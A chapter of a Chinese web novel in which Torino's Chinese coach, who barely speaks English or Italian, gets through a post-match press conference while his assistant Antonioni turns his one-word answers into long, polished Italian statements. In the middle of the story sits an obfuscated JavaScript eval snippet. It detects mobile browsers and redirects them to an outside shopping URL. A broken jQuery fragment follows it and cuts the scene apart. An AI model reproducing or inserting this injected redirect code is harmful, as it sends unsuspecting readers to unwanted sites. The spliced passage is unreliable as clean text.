新闻发布会厅比林奇想象中要小，就只是一个只能容纳二十把折叠椅的狭长房间，这时候的意大利流行刷米黄色的墙壁，尤其在公共机构里。
林奇不知道这种颜色是谁发明的，但他怀疑发明者的初衷是让所有走进来的人都产生一种轻微的消化不良感，从而缩短会议时间。
因为他现在就有点肚子疼……
林奇站在门口。
他正在做一个任何理智的人在进入充满意大利记者的房间之前都会做的事：他评估了一下自己目前的语言能力。
至于自己的脸？无所谓了，就在比赛的时候估计就已经拍完一百二十张照片了。
是的，他现在莫名其妙能听懂意大利语，每一个单词每一个句子，但是说出来呢？
抱歉，no。
好消息是，安东尼奥尼跟在他身后。
坏消息是，安东尼奥尼在他耳边小声说：“教练，你得说话。”
林奇回头用一只眼看助教，助教用两只眼看林奇。
林奇的那只左眼里传达出的信息非常清晰：你是认真的吗？安东尼奥尼的两只眼睛里传达出的信息同样清晰：我也希望我不是。
“talk.（说话）”
“是的，talk。”
“talkwhat？（说什么？）”
“回答问题。”
林奇继续看助教：“Italian？（意大利语？）”
如果不是初中教材里面有意大利餐馆这个单词，林奇连Italian都想不起来，他还能记得里面说想不想来点意大利面条呢，回答是“yesplease”，然而此刻，面对这群记者们，“yesplease”显然不是一个合适的回答。
光头助教也感到自己说的话不太对劲，但是没别的办法了：“最好是？”
你是在开玩笑吗？
安东尼奥尼是个好助教，不会让自己的主教练过于尴尬，试探着问：“英语呢？”
林奇说：“bad.（坏）”
“有多bad？”
“very，verybad.”
安东尼奥尼喉结滚动了一下，他的秃顶在日光灯下反射出一种接近于求救信号的光芒，然后他做出了一个决定，一个在接下来的几十分钟里将被证明是极其勇敢、极其愚蠢、或者两者兼有的决定。
“我翻译，”他说，“我是你的助理。”
“你说英语，我翻译成意大利语。如果你的英语不够用，你就……”
安东尼奥尼做了一个手势，大概意思是“用手比划”或者“用眼神示意”或者“我们到时候再说反正现在也没有更好的办法了”。
林奇看着这个手势，内心产生了一种接近于感动的情感。
什么叫忠臣？这才是忠臣！
安东尼奥尼可是都灵大大的忠臣！！！
而林奇还能做什么？他当然要听忠臣的话啦！他重重地点头，两手紧紧攥住了安东尼奥尼的手，重重地摇了两下。
此乃吾之子房啊，有安东尼奥尼在，自己怎么不算是如鱼得水吗？
别管是什么水。
两个人一起走了进去。
二十把折叠椅上坐了大概十五个人，十五个脖子上挂着采访证、手里拿着录音笔或笔记本、脸上带着不同程度的好奇和怀疑的意大利体育记者。
林奇在桌子后面坐下来，安东尼奥尼坐在他旁边。桌子上放着一瓶水，两个杯子，一支看起来像是从1997年就放在这里的圆珠笔，没有麦克风，但有一个用胶带粘在桌沿上的录音设备。
够简陋的。
但林奇被迫注意到了一个细节：所有人都在看着他。
好吧，理所当然，无论是他的眼睛还是他的鼻子，又或者是他的衬衫，此时都显示出那种不同寻常的模样，而配合半个小时之前的事故，大家能够憋住笑就很好了。
林奇感激这群记者是专业的。
第一个记者站了起来：“《罗马体育报》。”他说，然后开始提问，语速很快，然而林奇听懂了每一个词，这位记者问的是：都灵在落后两球的情况下扳平，这是否意味着球队具备了他之前没有预料到的精神品质？以及，他对巴罗尼的表现有何评价？以及，他的脸怎么样？
三个问题，最后一个问题是用努力保持专业但明显压抑不住好奇心的语气问出来的。
林奇开口：“GOOD,GOOD,BAD.”
三个词，对应三个问题。
这是一个极其高效的交流系统，如果人类语言都按照这个密度来设计，托尔斯泰写《战争与和平》只需要三页。
安东尼奥尼等待着林奇再说一点，林奇等待安东尼奥尼翻译，记者也在等待……到底在等什么啊！
“没了？”安东尼奥尼小声问。
“Teamgood.（团队很好。）”林奇补充道。
安东尼奥尼作为一个在意大利足球圈混了二十年的助教，他大概见识过各种各样的赛后采访——愤怒的、傲慢的、敷衍的、过于热情的、把战术板拿出来当场画图的，但他大概从来没有遇到过需要把“Teamgood”翻译成一段能够满足《罗马体育报》记者期待的、具有信息量和引用价值的意大利语句子的情况。
他清了清嗓子，转向记者。
“教练说，”安东尼奥尼用意大利语说，“球队今天展现出了非凡的精神力量，在奥林匹克球场面对一支像拉齐奥这样强大的对手，在落后两球的情况下没有放弃，而是继续战斗到最后一分钟，这证明了这支球队拥有超越技术水平的内在品质。他特别表扬了全队的团结和斗志，认为这是本赛季征程中最重要的基础。”
林奇的左眼越睁越大，他的英语原话是两个单词，而安东尼奥尼把它变成了一段大概包含四十个意大利语单词！甚至带有一点修辞技巧！
这就像是你给了某人一颗葡萄，他还给你一瓶葡萄酒！还得是82年的拉菲！
第二个记者站了起来：“《都灵体育报》。”本地媒体。
林奇的精神稍微振作了一点。本地媒体意味着至少不会问出那种纯粹为了制造标题的问题，比如“升班马教练赛后鼻青脸肿，是否遭到更衣室暴力”或者“中国教练的鼻子：意甲的残酷性”。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485103|201966||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这位记者的问题是：巴罗尼在比赛中的两个进球风格完全不同，这是教练战术安排的结果还是球员个人的临场发挥？以及，他如何看待巴罗尼在补时阶段的那次头球绝平？
林奇在脑子里甚至组织出了一个完整的回答！——巴罗尼的第一个进球是团队配合的结果，快速反抢、边路推进、禁区内的果断终结；第二个进球则更多依赖于他个人的门前嗅觉和斗志，在比赛第九十分钟，体能完全透支的情况下，依然判断落点、抢占位置、完成一记技术含量极高的砸地头球。
只恨单词不足！
“Baroni（巴罗尼）GOOD,heveryveryverygood.”
都灵主教练的英语进步是显而易见的，这一次他足足多说了两个单词，按照这个速度，到赛季末他就能朗诵莎士比亚十四行诗了。
林奇相信自己的助理教练……
他的相信没有错。
“教练认为，”安东尼奥尼说，“巴罗尼今天的表现是他执教生涯中见过的最令人印象深刻的个人表演之一。第一个进球体现了我们训练中反复演练的战术套路——快速反抢、边路推进、禁区内的果断终结。第二个进球则完全是巴罗尼个人意志力的体现，在比赛第九十分钟，在体能已经完全透支的情况下，他依然能够判断落点、抢占位置、完成一记技术含量极高的头球……这不仅仅是天赋，这是一种与生俱来的射手本能。教练特别指出，巴罗尼的第二个进球——那个砸地头球——他在训练场上练习过无数次，今天在最重要的时刻得到了回报。”
林奇不知道安东尼奥尼是怎么编出来这么多东西的，但是他认为自己最好不要质疑他。
记者们显然也有点绷不住了，大家是能够听明白教练简陋的英语的，这就和助教的长篇大论形成了鲜明的对比，然而他们暂时不能推断究竟是教练和助理教练之间有矛盾还是教练的授意……可以先看看。
第三个记者站了起来，他一站起来林奇就提起精神——这家伙不怀好意的样子！
果然。
“教练，”他说，用笔指了指自己的鼻子，“你的脸是怎么弄的？”
在场只有林奇不能完整地说出原委。
这个混蛋。
林奇想说点什么，可他的表达能力近乎于零。
但人类在语言出现之前，已经交流了几十万年。洞穴壁画、手势、面部表情、从喉咙里发出的含混声音，林奇的DNA里刻着这些远古的沟通本能，此刻它们被激活了。
“Ball（球）.”他指了指自己的鼻子。“Face（脸）.”
然后他举起双手，比划了一个球飞过来的轨迹，面部表情配合着这个手势：先是茫然（球从哪里来的？），然后是惊恐（它朝我飞过来了！），最后是疼痛（它击中了！）。
然后是流血的部分，好在这个不用他演，大家看看衬衫就知道了，而最后，林奇补充了一句：“nohospital（没有医院）。”
整个发布会厅突然响起了如雷鸣般的掌声。
被给予掌声的教练茫茫然地看着大家：“thankyou.”